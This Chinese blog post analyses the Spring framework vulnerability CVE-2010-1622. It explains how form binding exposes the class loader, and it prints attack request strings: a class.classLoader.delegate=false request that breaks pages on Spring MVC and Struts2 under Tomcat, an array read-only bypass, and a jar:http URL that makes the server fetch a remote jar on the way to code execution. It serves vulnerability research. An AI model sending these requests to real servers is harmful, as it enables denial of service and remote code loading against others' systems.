{"id":377,"date":"2012-04-03T23:41:27","date_gmt":"2012-04-03T15:41:27","guid":{"rendered":"http:\/\/inbreak.net\/?p=377"},"modified":"2012-04-03T23:41:27","modified_gmt":"2012-04-03T15:41:27","slug":"spring-framework%ef%bc%88cve-2010-1622%ef%bc%89%e6%bc%8f%e6%b4%9e%e5%88%a9%e7%94%a8%e6%8c%87%e5%8d%97","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/377.html","title":{"rendered":"Spring framework\uff08cve-2010-1622\uff09\u6f0f\u6d1e\u5229\u7528\u6307\u5357"},"content":{"rendered":"

By \u7a7a\u865a\u6d6a\u5b50\u5fc3 http:\/\/inbreak.net\/ @javasecurity http:\/\/t.qq.com\/javasecurity
\n\u6458\u8981<\/strong>
\n\u8fd9\u4e2a\u6f0f\u6d1e\u57282010\u5e74\u51fa\u7684\uff0c\u5f53\u65f6\u7531\u4e8e\u73af\u5883\u95ee\u9898\uff0c\u5e76\u6ca1\u6709\u627e\u5230\u7a33\u5b9a\u5229\u7528\u7684EXP\u3002\u4f5c\u8005\u5bf9spring mvc\u6846\u67b6\u4e0d\u719f\u6089\uff0c\u5f88\u591a\u5730\u65b9\u4e0d\u4e86\u89e3\uff0c\u7ed3\u679c\u7814\u7a76\u4e86\u4e00\u534a\uff0c\u8bc1\u660e\u4e86\u6f0f\u6d1e\u7684\u90e8\u5206\u4e25\u91cd\u6027\u5c31\u653e\u4e0b\u4e86\uff0c\u6ca1\u6709\u5f04\u51faPOC\u6765\u3002\u6700\u8fd1\u540c\u4e8b\u4e5f\u60f3\u7814\u7a76\u4e0b\uff0c\u52fe\u8d77\u4e86\u7814\u7a76\u5174\u8da3\uff0c\u7ed3\u679c\u8fd0\u6c14\u7206\u53d1\uff0c\u89e3\u51b3\u4e86\u5f53\u5e74\u6ca1\u6709\u641e\u5b9a\u7684N\u591a\u95ee\u9898\u548c\u9519\u8bef\uff0c\u8fd9\u624d\u7ec8\u4e8e\u8ba9\u670d\u52a1\u5668\u4e0a\u7684CALC\u8dd1\u8d77\u6765\u3002
\n\u5f53\u7136\uff0c\u672c\u6587\u4e0d\u4f1a\u63d0\u4f9bPOC\uff0c\u53ea\u662f\u5bf9\u5b98\u65b9\u7684POC\u5206\u6790\u4e00\u4e0b\uff0c\u4ee5\u53ca\u544a\u8bc9\u5927\u5bb6\u600e\u4e48\u5199\u81ea\u5df1\u60f3\u8981\u7684EXP\uff0c\u672c\u6587\u4e0d\u4f1a\u63d0\u4f9b\u9ed1\u5ba2\u5de5\u5177\uff0c\u53ea\u8ba8\u8bba\u6280\u672f\u3002
\n\u6b63\u6587<\/strong>
\n\u8fd9\u4e2a\u6f0f\u6d1e\u5176\u5b9e\u6709\u4e24\u79cd\u73a9\u6cd5\uff0c\u4e00\u79cd\u662f\u62d2\u7edd\u670d\u52a1\uff0c\u4e00\u79cd\u662f\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff0c\u5176\u4e2d\u8fd8\u9690\u85cf\u7740\u4e00\u4e9b\u5176\u4ed6\u6280\u672f\u5185\u5e55\u3002\u6211\u4eec\u5148\u4ece\u62d2\u7edd\u670d\u52a1\u8bb2\u8d77\uff0c\u6f0f\u6d1e\u53d1\u5e03\u8005\u5e76\u6ca1\u6709\u63d0\u5230\u8fd9\u91cc\u53ef\u80fd\u51fa\u73b0\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff0c\u8fd9\u662f\u672c\u6587\u4f5c\u8005\u65e0\u610f\u4e2d\u53d1\u73b0\u7684\u3002\u8fd9\u4e2a\u53d1\u73b0\u53ef\u4ee5\u7ed5\u8fc7tomcat\u7684\u67d0\u6bb5\u632b\u4ee3\u7801\uff0c\u4e0b\u6587\u4e2d\u4f1a\u201c\u5f31\u5f31\u7684\u201d\u63d0\u5230\u8fd9\u4e2a\u632b\u4ee3\u7801\u4e8b\u60c5\u3002
\n\u6f0f\u6d1e\u53d1\u5e03\u8005\u7684blog\u6587\uff1ahttp:\/\/blog.o0o.nu\/2010\/06\/cve-2010-1622.html
\n\u8fd9\u7bc7\u6587\u6863\u5176\u5b9e\u5bf9\u6f0f\u6d1e\u7684\u4ecb\u7ecd\uff0c\u5df2\u7ecf\u975e\u5e38\u660e\u786e\u4e86\uff0c\u57fa\u672c\u4e0a\u7ffb\u8bd1\u8fc7\u6765\u5c31\u53ef\u4ee5\u660e\u4e86\u4e8b\u60c5\u7684\u7ecf\u8fc7\uff0c\u8fd9\u91cc\u6309\u7167\u81ea\u5df1\u7684\u8bed\u8a00\uff0c\u8bb2\u8bb2\u91cd\u8981\u7684\u4e1c\u897f\u3002
\n\u8fd9\u662fspring\u7684\u6f0f\u6d1e\uff0c\u800c\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u6700\u4f73\u4f53\u73b0\uff0c\u662fspring mvc\u6846\u67b6\u3002\u7ecf\u5178\u7684\u5e94\u7528\uff0c\u7ecf\u5178\u7684\u4ee3\u7801\uff0c\u6700\u7ec8\u5374\u4f1a\u9020\u6210\u6f0f\u6d1e\uff0c\u8fd9\u662f\u6846\u67b6\u6f0f\u6d1e\u7684\u7ecf\u5178\u4f53\u73b0\u3002\u5f00\u53d1\u4eba\u5458\u5982\u679c\u4f7f\u7528\u4e86spring mvc\u6846\u67b6\uff0c\u5fc5\u7136\u4f1a\u8fd9\u6837\u5199\u4ee3\u7801\uff0c\u5b98\u65b9\u4e5f\u63a8\u8350\u8868\u5355\u7ed1\u5b9a\u5bf9\u8c61\u8fd9\u79cd\u505a\u6cd5\uff0c\u8fd9\u79cd\u505a\u6cd5\uff0c\u5374\u7531\u4e8e\u6846\u67b6\u7684\u73af\u5883\uff0c\u5bfc\u81f4\u4e86\u6f0f\u6d1e\u3002
\n\u6f0f\u6d1e\u539f\u7406<\/strong>
\nSpring mvc\u53ef\u4ee5\u8ba9\u5f00\u53d1\u8005\u5b9a\u4e49\u4e00\u4e2ajava bean\u5bf9\u8c61\uff0c\u5b9e\u73b0getter\u548csetter\u65b9\u6cd5\uff0c\u4e4b\u540e\u7ed1\u5b9a\u5230\u8868\u5355\u4e2d\uff0c\u4ee5\u65b9\u4fbf\u5f00\u53d1\u4eba\u5458\u4f7f\u7528\u3002
\n\u8fd9\u6bb5\u4ee3\u7801\uff0c\u662f\u4e00\u4e2ajava bean\u5bf9\u8c61\uff0c\u53eb\u505aUser.<\/p>\n

\r\npublic class User {\r\n\tprivate String name;\r\n\tpublic String getName() {\r\n\t\treturn name;\r\n\t}\r\n\tpublic void setName(String name) {\r\n\t\tthis.name = name;\r\n\t}\r\n}\r\n<\/pre>\n

\u53ef\u4ee5\u628a\u5b83\u7ed1\u5b9a\u5230\u4e00\u4e2aController<\/p>\n

\r\n@Controller\r\npublic class TestController {\r\n\t@RequestMapping(\"\/test.htm\")\r\n\tpublic String execute(User user){\r\n\t\tSystem.out.println(user.getName());\r\n\t\treturn \"success\";\r\n\t}\r\n}\r\n<\/pre>\n

\u7528\u6237\u5c31\u53ef\u4ee5\u76f4\u63a5\u63d0\u4ea4<\/p>\n

\r\nhttp:\/\/inbreak.net\/test.htm?name=kxlzx\r\n<\/pre>\n

\u4e8e\u662fTestController\u5c31\u4f1a\u81ea\u52a8\u628aname=kxlzx\u53d8\u6210\u5bf9\u8c61user.name\u7684\u503c\u3002
\n\u8fd9\u4e00\u5207\u81ea\u52a8\u7684\u8fc7\u7a0b\uff0c\u5f97\u76ca\u4e8espring mvc\u63d0\u4f9b\u7684\u5b57\u6bb5\u6620\u5c04\u529f\u80fd\uff0c\u8fd9\u4e2a\u529f\u80fd\u4f1a\u81ea\u52a8\u53d1\u73b0user\u5bf9\u8c61\u4e2d\u7684public\u65b9\u6cd5\u548c\u5b57\u6bb5\uff0c\u5982\u679cuser\u4e2d\u51fa\u73b0public\u7684\u4e00\u4e2a\u5b57\u6bb5\uff0c\u5c31\u81ea\u52a8\u7ed1\u5b9a\uff0c\u5e76\u4e14\u5141\u8bb8\u7528\u6237\u63d0\u4ea4\u8bf7\u6c42\u7ed9\u4ed6\u8d4b\u503c\u3002
\n\u6bd4\u5982user\u7c7b\u4e2d\u51fa\u73b0<\/p>\n

\r\nPublic String name;\r\n<\/pre>\n

\u7528\u6237\u63d0\u4ea4name=kxlzx\uff0c\u5c31\u53ef\u4ee5\u7ed9\u5b83\u8d4b\u503c\u3002
\n\u5982\u679c\u51fa\u73b0public\u7684setter\u65b9\u6cd5\uff0c\u4e5f\u4f1a\u5141\u8bb8\u8d4b\u503c\u3002
\n\u6bd4\u5982user\u7c7b\u4e2d\u51fa\u73b0<\/p>\n

\r\n\tpublic void setName(String name) {\r\n\t\tthis.name = name;\r\n\t}\r\n<\/pre>\n

\u5373\u53ef\u5141\u8bb8\u7528\u6237\u63d0\u4ea4name=kxlzx\u8d4b\u503c\u3002
\n\u4f46\u662f\u5982\u679c\u662f<\/p>\n

\r\nPrivate String name;\r\n<\/pre>\n

\u5e76\u4e14\u6ca1\u6709setter\u65b9\u6cd5\uff0c\u5c31\u4f1a\u4e0d\u5141\u8bb8\u8d4b\u503c\u3002\u8fd9\u4e5f\u662f\u51fa\u4e8e\u5b89\u5168\u8003\u8651\uff0c\u4e0d\u80fd\u628auser\u4e2d\u6240\u6709\u7684\u5c5e\u6027\u90fd\u66b4\u9732\u51fa\u53bb\u3002
\n\u73b0\u5728\u95ee\u9898\u6765\u4e86\uff0c\u5728java\u7684\u4e16\u754c\u91cc\uff0c\u6240\u6709\u7684\u5bf9\u8c61\uff0c\u90fd\u9ed8\u8ba4\u7ee7\u627f\u4e86Object\u57fa\u7840\u7c7b\uff0c\u8fd9\u4e2a\u7c7b\u7adf\u7136\u6709\u4e2a\u65b9\u6cd5\u53eb\u505a<\/p>\n

\r\nPublic Class getClass()\r\n<\/pre>\n

\u610f\u5473\u7740\u6240\u6709\u7684\u5bf9\u8c61\uff0c\u5305\u62ecuser\u5728\u5185\uff0c\u7528\u6237\u9ed8\u8ba4\u90fd\u53ef\u4ee5\u4f7f\u7528<\/p>\n

\r\nhttp:\/\/inbreak.net\/test.htm?class=xxx\r\n<\/pre>\n

\u53bb\u7ed9\u5b83\u8d4b\u503c\u3002\u5f53\u7136\uff0cclass\u7684\u7c7b\u578b\u5e76\u4e0d\u662f\u57fa\u7840\u7c7b\u578b\uff08string,int,long,double\u7b49\u7b49\uff09\uff0c\u6240\u4ee5\u7528\u6237\u5373\u4f7f\u63d0\u4ea4\u4e86\u8d4b\u503c\u5176\u5b9e\u6ca1\u6709\u4efb\u4f55\u542b\u4e49\u3002
\n\u597d\u5728\u6211\u4eec\u53ef\u4ee5\u7ee7\u7eed\u8bbf\u95ee\u4e0b\u53bb\uff0cObject\u7684getClass\u65b9\u6cd5\uff0c\u8fd4\u56declass\u5bf9\u8c61\uff0cclass\u5bf9\u8c61\u4e2d\u6709\u4e2a\u65b9\u6cd5\u53eb\u505agetClassLoader\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u8fd4\u56deClassLoader\u5bf9\u8c61\uff0c\u7528\u6237\u53ef\u4ee5\u8fd9\u6837\u8bbf\u95ee\u3002<\/p>\n

\r\nhttp:\/\/inbreak.net\/test.htm?class.classLoader=xxx\r\n<\/pre>\n

\u5371\u9669\u7684\u4e1c\u897f\u51fa\u73b0\u4e86\uff0c\u6b64\u5bf9\u8c61\uff0c\u4ee3\u8868\u7740\u7a0b\u5e8f\u8fd0\u884c\u73af\u5883\u7684classLoader\u3002\u968f\u7740web\u5bb9\u5668\u7684\u4e0d\u540c\uff0c\u5927\u5bb6\u5bf9\u8fd9\u4e2a\u4e1c\u897f\u7684\u5b9e\u73b0\u65b9\u5f0f\u4e0d\u4e00\u6837\u3002\u5728tomcat\u4e0a\uff0c\u4e5f\u5c31\u662fspring mvc\u62ff\u5230tomcat\u4e0a\u8fd0\u884c\u65f6\uff0c\u5b83\u4f1a\u53d8\u6210<\/p>\n

\r\norg.apache.catalina.loader.WebappClassLoader\r\n<\/pre>\n

\u53ef\u4ee5\u4ecetomcat\u7684api\u6587\u6863\u4e2d\uff0c\u67e5\u5230\u8fd9\u4e2a\u7c7b\u7684\u4e00\u4e9b\u5b57\u6bb5\u3002<\/p>\n

\r\nhttp:\/\/tomcat.apache.org\/tomcat-6.0-doc\/api\/org\/apache\/catalina\/loader\/WebappClassLoader.html\r\n<\/pre>\n

\u4e00\u65e6\u8fd9\u4e2a\u7c7b\u4e2d\uff0c\u51fa\u73b0\u4e86\u53ef\u4ee5set\u7684\u5b57\u6bb5\uff0c\u7528\u6237\u5c31\u53ef\u4ee5\u63d0\u4ea4url\u8bf7\u6c42\uff0c\u6539\u53d8\u5176\u4e2d\u7684\u503c\u3002classLoader\u662f\u4e00\u4e2a\u53ef\u4ee5\u5f71\u54cd\u6240\u6709class\u52a0\u8f7d\u7684\u91cd\u8981\u4e1c\u897f\uff0c\u4e00\u65e6\u5176\u4e2d\u4e00\u4e9b\u5b57\u6bb5\u53d1\u751f\u6539\u53d8\uff0c\u5e94\u7528\u7a0b\u5e8f\u4e2d\u5c31\u53ef\u80fd\u4f1a\u53d1\u751f\u5404\u79cd\u8be1\u5f02\u7684\u4e8b\u60c5\uff0c\u9020\u6210\u5e94\u7528\u4e0d\u6b63\u5e38\uff0c\u751a\u81f3\u6240\u6709\u9875\u9762\u90fd\u8bbf\u95ee\u51fa\u9519\u3002\u4f60\u77e5\u9053\u6211\u5728\u8bf4\u4ec0\u4e48\uff0c\u662f\u7684\uff0c\u62d2\u7edd\u670d\u52a1\u3002
\nSpring mvc \u62d2\u7edd\u670d\u52a1\u6f0f\u6d1e<\/strong>
\n\u7ffb\u9605api\u6587\u6863\uff0c\u53ef\u4ee5\u770b\u5230\u6709\u5f88\u591a\u5b57\u6bb5\uff0c\u90fd\u5b9e\u73b0\u4e86setter\u65b9\u6cd5\uff0c\u8fd9\u4e9b\u5b57\u6bb5\u540d\u79f0\u6bd4\u8f83\u8be1\u5f02\uff0c\u5927\u591a\u90fd\u662f\u201c\u5bf9\u6211\u4eec\u201d\u6ca1\u4ec0\u4e48\u4f5c\u7528\u7684\u5b57\u6bb5\uff0c\u5f71\u54cd\u4e0d\u5927\u3002\u552f\u6709\u4e00\u4e2a\u5371\u9669\u5b57\u6bb5\uff0c\u53eb\u505adelegate\uff0c\u8fd9\u4e2a\u5b57\u6bb5\u53ef\u4ee5\u76f4\u63a5\u4fee\u6539\u6389\u3002<\/p>\n

\r\n    public void setDelegate(boolean delegate) {\r\n        this.delegate = delegate;\r\n    }\r\n<\/pre>\n

\u8fd9\u4e2a\u5b57\u6bb5\uff0c\u662ftomcat\u51b3\u5b9aclass\u52a0\u8f7d\u987a\u5e8f\u7528\u7684\uff0c\u6216\u8bb8\u5728\u8fd9\u6587\u7ae0\u4e2d\uff0c\u548c\u5927\u5bb6\u626f\u4e00\u6bb5\u7c7b\u52a0\u8f7d\u7684\u4e1c\u897f\u4e0d\u592a\u5bb9\u6613\u7406\u89e3\uff0c\u6240\u4ee5\u4e0d\u63d0\u539f\u7406\uff0c\u6211\u4eec\u770b\u7bc7\u6587\u7ae0\uff0c\u8bf7\u5927\u5bb6\u76f4\u63a5google\uff0c\u4f5c\u8005\u5c31\u4e0d\u70b9\u540d\u4e86\u3002<\/p>\n

\r\njava.lang.ClassCastException: org.apache.catalina.util.DefaultAnnotationProcessor \u89e3\u51b3\r\n<\/pre>\n

\u6587\u7ae0\u4e2d\u4f1a\u8bb2\u5230\u4e24\u4e2a\u4fe1\u606f\uff1a
\n1\u3001\u4ed6\u4eec\u9047\u5230\u4e86\u4e25\u91cd\u9519\u8bef\uff0c\u5bfc\u81f4\u6240\u6709\u9875\u9762\u6253\u4e0d\u5f00\uff0c\u7206\u8fd9\u4e2a\u9519\u8bef\u3002
\n2\u3001\u7f51\u53cb\u4eec\u5efa\u8bae\u7684\u89e3\u51b3\u65b9\u5f0f\uff0c\u662f\u8bbe\u7f6etomcat\u5982\u4e0b\uff1a<\/p>\n

\r\n\u5728tomcat  conf \u4e0b\u76ee\u5f55\u4e2d context.xml\u4e2d\u589e\u52a0\r\n\u5982\u4e0b\u8282\u70b9\u5373\u53ef\u3002\r\n \r\n<\/pre>\n

\u4e5f\u5c31\u662f\u8bf4\uff0c\u8fd9\u4e2a\u503c\uff0c\u5fc5\u987b\u8bbe\u7f6e\u4e3atrue\uff0c\u5426\u5219\u4ed6\u7684\u5e94\u7528\u5c31\u4f1a\u6302\u6389\u3002
\n\u4e0b\u9762\u505a\u4e2a\u5c0f\u6d4b\u8bd5\uff0c\u5728\u6211\u4eec\u9879\u76ee\u4e2d\u52a0\u5165\u4e00\u4e2atomcat\u7684lib\u4e0b\u7684jar\u5305\uff0c\u53eb\u505a\u201ccatalina.jar\u201d\uff0c\u653e\u5165\/WEB-INF\/lib\/\u4e0b\u9762\uff0c\u542f\u52a8tomcat\uff0c\u4e8e\u662f\u6240\u6709\u7684\u9875\u9762\uff0c\u90fd\u6253\u4e0d\u5f00\u4e86\u3002\u6309\u7167\u89e3\u51b3\u65b9\u5f0f\uff0c\u8bbe\u7f6etomcat\u540e\uff0c\u53d8\u4e3a\u6b63\u5e38\u3002
\n\u4f46\u662f\u51fa\u4e86spring mvc\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u540e\uff0c\u8fd9\u4e2a\u8bbe\u7f6e\u4f1a\u53d8\u5f97\u975e\u5e38\u8106\u5f31\uff0c\u53ea\u8981\u653b\u51fb\u8005\u63d0\u4ea4<\/p>\n

\r\nhttp:\/\/inbreak.net\/springmvc\/testjsp.htm?class.classLoader.delegate=false\r\n<\/pre>\n

\u5c31\u4f1a\u6709\u5f88\u591a\u9875\u9762\uff0c\u90fd\u51fa\u73b0\u4e0b\u56fe\u8fd9\u4e2a\u8be1\u5f02\u7684\u95ee\u9898\u3002\u8fd9\u662f\u56e0\u4e3a\u7b2c\u4e00\u6b21\u7f16\u8bd1jsp\u9875\u9762\u65f6\uff0c\u7531\u4e8e\u7c7b\u52a0\u8f7d\u987a\u5e8f\u9519\u8bef\uff0c\u800c\u4ea7\u751f\u7684\u9519\u8bef\u3002
\n \"\"<\/a>
\n\u6253\u5f00URL\u540e\uff0c\u51e1\u662ftomcat\u542f\u52a8\u540e\uff0c\u66fe\u7ecf\u88ab\u8bbf\u95ee\u8fc7\u4e00\u6b21\u4ee5\u4e0a\u7684\u9875\u9762\uff0c\u90fd\u662f\u6b63\u5e38\u7684\uff0c\u53ea\u6709\u90a3\u4e9b\u4ece\u6765\u6ca1\u6709\u8bbf\u95ee\u8fc7\u7684\u9875\u9762\uff0c\u7b2c\u4e00\u6b21\u8bbf\u95ee\u65f6\uff0c\u5c31\u4f1a\u51fa\u73b0\u8fd9\u4e2a\u9519\u8bef\u3002
\n\u771f\u662f\u602a\u5f02\u7684\u7b54\u6848\uff0c\u8fd9\u662f\u53e6\u7c7b\u7684\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff0c\u6709\u4e9b\u9875\u9762\u6b63\u5e38\uff0c\u6709\u4e9b\u9875\u9762\u4e0d\u6b63\u5e38\uff0c\u53ea\u8981\u63a7\u5236\u597d\u653b\u51fb\u65f6\u95f4\uff0c\u8fd9\u4e2a\u653b\u51fb\u65f6\u95f4\uff0c\u548c\u542f\u52a8\u670d\u52a1\u5668\u7684\u65f6\u95f4\u8d8a\u8fd1\uff0c\u5a01\u529b\u8d8a\u5927\u3002\u5176\u5b9e\u5a01\u529b\u5927\u4e0d\u5927\u65e0\u6240\u8c13\uff0c\u56e0\u4e3a\u6ca1\u6709\u4efb\u4f55\u4e00\u4e2a\u7f51\u7ad9\uff0c\u6240\u6709\u7684\u9875\u9762\uff0c\u4f1a\u57281\u5929\u5185\u88ab\u4eba\u8bbf\u95ee\u4e2a\u904d\uff0c\u6240\u4ee5\u4f5c\u4e3a\u7cfb\u7edf\u7ba1\u7406\u5458\uff0c\u770b\u5230\u8fd9\u4e2a\u9519\u8bef\uff0c\u5df2\u7ecf\u975e\u5e38\u5934\u75bc\u4e86\u3002
\nstruts2 dos\u6f0f\u6d1e<\/strong>
\n\u662f\u7684\uff0c\u5b83\u4e5f\u53d7\u5f71\u54cd\u3002\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u662fspring\u51fa\u7684\uff0c\u5f88\u591a\u9879\u76ee\u90fd\u7528\u5230\u4e86spring\u7684\u6838\u5fc3\uff0cspring mvc\u53ea\u662f\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u6700\u4f73\u4f53\u73b0\u800c\u5df2\u3002Struts2\u5176\u5b9e\u4e5f\u672c\u8be5\u662f\u4e2a\u5bfc\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u624d\u5bf9\uff0c\u53ea\u662f\u56e0\u4e3a\u5b83\u7684\u5b57\u6bb5\u6620\u5c04\u95ee\u9898\uff0c\u53ea\u6620\u5c04\u57fa\u7840\u7c7b\u578b\uff0c\u9ed8\u8ba4\u4e0d\u8d1f\u8d23\u6620\u5c04\u5176\u4ed6\u7c7b\u578b\uff0c\u6240\u4ee5\u5f53\u653b\u51fb\u8005\u76f4\u63a5\u63d0\u4ea4URLs[0]=xxx\u65f6\uff0c\u76f4\u63a5\u7206\u5b57\u6bb5\u7c7b\u578b\u8f6c\u6362\u9519\u8bef\uff0c\u7ed3\u679c\u624d\u4fa5\u5e78\u9003\u8fc7\u4e00\u52ab\u7f62\u4e86\u3002
\n\u9003\u5f97\u4e86\u521d\u4e00\uff0c\u5374\u9003\u4e0d\u8fc7\u5341\u4e94\uff0c\u5728\u653b\u51fb\u8005\u63d0\u4ea4<\/p>\n

\r\nhttp:\/\/inbreak.net\/struts2\/testjsp.htm?class.classLoader.delegate=false\r\n<\/pre>\n

\u7ed9struts2\u65f6\uff0cstruts2\u770b\u5230\u7684\u662f\u4e2aboolean\u7c7b\u578b\uff0c\u5c5e\u4e8e\u57fa\u7840\u7c7b\u578b\uff0c\u6240\u4ee5\u8fd9\u4e2a\u503c\u5c31\u88ab\u4fee\u6539\u6389\u4e86\u3002\u5f53web\u5bb9\u5668\u662ftomcat\u65f6\uff0c\u5b83\u4e00\u6837\u53d7\u5230\u5f71\u54cd\uff0c\u73b0\u8c61\u548cspring mvc\u4e00\u81f4\u3002\u8fd9\u91cc\u5c31\u4e0d\u6293\u56fe\u4e86\u3002\u987a\u4fbf\u8bf4\u4e0a\u4e00\u53e5\uff0cstruts2\u63d0\u4f9b\u81ea\u5b9a\u4e49\u7c7b\u578b\u8f6c\u6362\u529f\u80fd\uff0c\u6b22\u8fce\u5927\u5bb6\u628aURL\u7c7b\uff0c\u505a\u81ea\u5b9a\u4e49\u7c7b\u578b\u8f6c\u6362\u5904\u7406\uff0c\u6709\u4e86\u8fd9\u4e2a\u5904\u7406\uff0c\u6548\u679c\u5c31\u548cspring mvc\u4e2d\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u4e00\u81f4\u4e86\u3002\u4f5c\u8005\u8fd8\u4e0d\u81f3\u4e8e\u627e\u4e2astruts2\u5e94\u7528\uff0c\u6545\u610f\u914d\u7f6e\u4e00\u4e2a\u81ea\u5b9a\u4e49\u7c7b\u578b\u8f6c\u6362\u540e\uff0c\u5047\u88c5\u81ea\u5df1\u53d1\u73b0\u4e86\u4e2a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002\u53ea\u662f\u60f3\u6765\u8fd9\u79cd\u4e1a\u52a1\u573a\u666f\u6781\u5c11\uff0c\u6bd4\u8f83\u9002\u5408\u5bf9\u516c\u53f8\u4e0d\u6ee1\u7684\u5f00\u53d1\u4eba\u5458\u7559\u540e\u95e8\u7528\uff0c\u8c01\u53c8\u80fd\u60f3\u5230\u5f00\u53d1\u4e00\u4e2a\u8fd9\u6837\u6ca1\u6709\u610f\u4e49\u7684\u529f\u80fd\uff0c\u5c45\u7136\u6709\u5929\u4f1a\u5f15\u53d1\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u5462\uff1f
\nSpring mvc\u6570\u7ec4\u53ea\u8bfb\u6743\u9650\u7ed5\u8fc7\u6f0f\u6d1e<\/strong>
\n\u975e\u5e38\u6709\u8da3\u7684\u7279\u6027\uff0c\u524d\u6587\u63d0\u5230\uff0c\u53ea\u6709\u5728\u4e00\u4e2a\u5b57\u6bb5\u4e3apublic\uff0c\u6216\u8005\u5b57\u6bb5\u7684setter\u65b9\u6cd5\u4e3apublic\u65f6\uff0c\u624d\u4f1a\u5141\u8bb8\u7528\u6237\u63d0\u4ea4\u53c2\u6570\uff0c\u4fee\u6539\u8fd9\u4e2a\u5b57\u6bb5\u7684\u503c\u3002\u6240\u4ee5\u8fd9\u91cc\u662f\u4e2a\u6743\u9650\u7ed5\u8fc7\u6f0f\u6d1e\uff0c\u5f53\u4e00\u4e2a\u6570\u7ec4\u5bf9\u8c61\u7684\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n

\r\n\tprivate String names[];\r\n\tpublic User(){\r\n\t\tnames = new String[]{\"1\"};\r\n\t}\r\n\tpublic String[] getNames() {\r\n\t\treturn names;\r\n\t}\r\n<\/pre>\n

\u770b\u5230\u4e86\uff0cnames\u8fd9\u4e2a\u6570\u7ec4\uff0c\u53ea\u662f\u5728\u6784\u9020\u65b9\u6cd5\u4e2d\u521d\u59cb\u5316\u4e86\u4e00\u4e0b\uff0c\u5e76\u6ca1\u6709public\u4e2asetter\u65b9\u6cd5\u51fa\u6765\uff0c\u751a\u81f3setter\u65b9\u6cd5\u90fd\u6ca1\u6709\u5b9e\u73b0\u3002\u7406\u8bba\u4e0a\uff0c\u5e94\u8be5\u662f\u4e2a\u53ea\u8bfb\u7684\u5b57\u6bb5\uff0c\u4f46\u662f\u53ea\u8981\u7528\u6237\u63d0\u4ea4<\/p>\n

\r\nhttp:\/\/inbreak.net\/springmvc\/testjsp.htm?names[0]=xxxxx\r\n<\/pre>\n

\u5b83\u7684\u503c\uff0c\u5c45\u7136\u88ab\u4fee\u6539\u4e86\uff01
\n\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u662f\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u7684\u57fa\u7840\uff0c\u5982\u679c\u8fd9\u6837\u7684\u503c\u4e0d\u80fd\u88ab\u4fee\u6539\uff0c\u4e5f\u5c31\u4e0d\u53ef\u80fd\u51fa\u73b0URLs\u88ab\u4fee\u6539\u540e\uff0c\u5bfc\u81f4\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u4e86\u3002\u73b0\u5728\u5927\u5bb6\u77e5\u9053\u4e86\u8fd9\u6837\u7684\u4ee3\u7801\u4f1a\u51fa\u95ee\u9898\uff0c\u518d\u770b\u770btomcat\u7684WebappLoader\u7c7b\uff0c\u7ee7\u627fURLClassLoader\u7c7b\uff0cURLClassLoader\u7684\u4e00\u4e2a\u65b9\u6cd5\u53eb\u505agetURLs\uff0c\u8fd4\u56de\u4e00\u4e2a\u6570\u7ec4\u3002\u53ea\u8981\u4e00\u4e2agetter\u8fd4\u56de\u7684\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u5c31\u4f1a\u7ed5\u8fc7\u5b89\u5168\u9650\u5236\u3002\u4e0b\u9762\u6211\u4eec\u7ee7\u7eed\u770b\u770b\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u662f\u600e\u4e48\u4ea7\u751f\u7684\u3002
\nSpring mvc\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<\/strong>
\n\u8fd9\u91cc\u624d\u662f\u4e3b\u6599\u7684\u5f00\u59cb\uff0c\u73b0\u5728\u518d\u6765\u770b\u770b\u600e\u4e48\u624d\u80fd\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff0c\u6bcf\u6b21\u60f3\u5230\u8fd9\u91cc\uff0c\u90fd\u4f1a\u60f3\u5230\u8fd9\u4e2a\u8001\u5916\u592a\u6709\u624d\u4e86\u3002
\ngetURLs\u65b9\u6cd5\uff0c\u5176\u5b9e\u7528\u7684\u5730\u65b9\u771f\u7684\u4e0d\u591a\uff0c\u53ea\u6709\u5728TldLocationsCache\u7c7b\uff0c\u5bf9\u9875\u9762\u7684tld\u6807\u7b7e\u5e93\u5904\u7406\u65f6\uff0c\u624d\u4f1a\u4ece\u8fd9\u4e00\u5806URL\u4e2d\u83b7\u53d6tld\u6587\u4ef6\u3002\u5b83\u7684\u539f\u7406\u662f\u4eceURL\u4e2d\u6307\u5b9a\u7684\u76ee\u5f55\uff0c\u53bb\u83b7\u53d6tld\u6587\u4ef6\uff0c\u5141\u8bb8\u4ece\u7f51\u7edc\u4e2d\u83b7\u53d6tld\u6587\u4ef6\u3002\u5f53\u4e00\u4e2atld\u653e\u5728jar\u4e2d\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7<\/p>\n

\r\njar:http:\/\/inbreak.net\/kxlzx.jar!\/\r\n<\/pre>\n

\u8fd9\u4e2aURL\uff0c\u4f1a\u4e0b\u8f7d\u5230tomcat\u670d\u52a1\u5668\u4e00\u4e2ajar\u6587\u4ef6\uff0c\u7136\u540e\u4ecejar\u6587\u4ef6\u4e2d\uff0c\u5bfb\u627etld\u6587\u4ef6\uff0c\u5e76\u4e14\u6839\u636etld\u6587\u4ef6\uff0c\u505aspring mvc\u6807\u7b7e\u5e93\u7684\u8fdb\u4e00\u6b65\u89e3\u6790\u3002
